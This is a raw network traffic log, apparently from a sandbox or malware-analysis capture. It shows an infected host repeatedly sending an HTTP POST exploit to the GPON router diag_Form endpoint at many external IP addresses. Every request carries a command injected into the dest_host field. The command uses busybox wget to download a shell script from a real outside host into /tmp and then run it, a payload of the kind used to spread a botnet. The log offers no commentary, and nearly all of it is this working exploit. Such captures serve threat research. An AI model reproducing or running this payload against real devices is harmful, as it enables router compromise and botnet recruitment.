Mar 2, 2024 12:37:28.967389107 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
648	192.168.2.23	41888	210.78.157.49	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967422009 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
649	192.168.2.23	39512	210.85.59.174	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967463017 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
650	192.168.2.23	54562	178.21.131.20	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967467070 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
651	192.168.2.23	46412	79.235.137.75	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967480898 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
652	192.168.2.23	48946	118.51.204.216	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967505932 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
653	192.168.2.23	54740	118.62.60.87	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967505932 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
654	192.168.2.23	47520	5.26.243.11	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967550039 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
655	192.168.2.23	59122	94.80.96.178	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967570066 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
656	192.168.2.23	43660	94.43.66.90	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967591047 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
657	192.168.2.23	46062	178.9.105.93	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967592001 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
658	192.168.2.23	48564	37.31.215.83	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967597008 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
659	192.168.2.23	37454	210.181.117.48	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967679977 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
660	192.168.2.23	47380	178.24.148.103	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967679977 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
661	192.168.2.23	45116	5.13.202.117	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967695951 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
662	192.168.2.23	56156	210.11.29.235	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967705965 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
663	192.168.2.23	54584	37.146.136.96	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967719078 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
664	192.168.2.23	50218	2.113.180.196	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967730045 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
665	192.168.2.23	54704	94.255.250.67	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967755079 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
666	192.168.2.23	38214	79.202.104.91	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967799902 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
667	192.168.2.23	56938	94.94.77.75	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967823029 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
668	192.168.2.23	54730	118.245.241.106	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967829943 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
669	192.168.2.23	58922	37.105.243.42	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967834949 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
670	192.168.2.23	51994	94.198.59.67	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967848063 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
671	192.168.2.23	36576	79.76.197.206	443

Timestamp	Bytes transferred	Direction	Data
